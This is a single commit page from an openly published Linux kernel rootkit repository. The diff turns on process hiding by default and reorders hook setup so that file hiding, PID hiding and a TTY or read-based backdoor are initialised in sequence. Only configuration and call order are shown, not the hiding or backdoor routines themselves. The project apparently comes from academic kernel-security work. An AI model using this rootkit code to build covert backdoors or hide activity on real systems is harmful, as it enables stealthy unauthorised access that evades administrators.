linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 2696bbd0c30d0ce77be9091fa85f46129f14df50
parent 3f4ea6e8f33fb9bc6ed48116fd68dbd61275034d
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 29 Nov 2020 17:32:02 +0100

refactors code

Diffstat:
Msrc/g7.c | 1+
Msrc/hook.c | 10+++++-----
2 files changed, 6 insertions(+), 5 deletions(-)

diff --git a/src/g7.c b/src/g7.c @@ -41,6 +41,7 @@ static struct file_operations g7_fops = rootkit_t rootkit = { .hiding_files = true, + .hiding_pids = true, .backdoor = BD_TTY, }; diff --git a/src/hook.c b/src/hook.c @@ -60,15 +60,15 @@ init_hooks(void) if (rootkit.hiding_files) hide_files(); - if (rootkit.backdoor == BD_READ) - backdoor_read(); - else if (rootkit.backdoor == BD_TTY) - backdoor_tty(); - if (rootkit.hiding_pids) { clear_hidden_pids(); unhide_pids(); } + + if (rootkit.backdoor == BD_READ) + backdoor_read(); + else if (rootkit.backdoor == BD_TTY) + backdoor_tty(); } void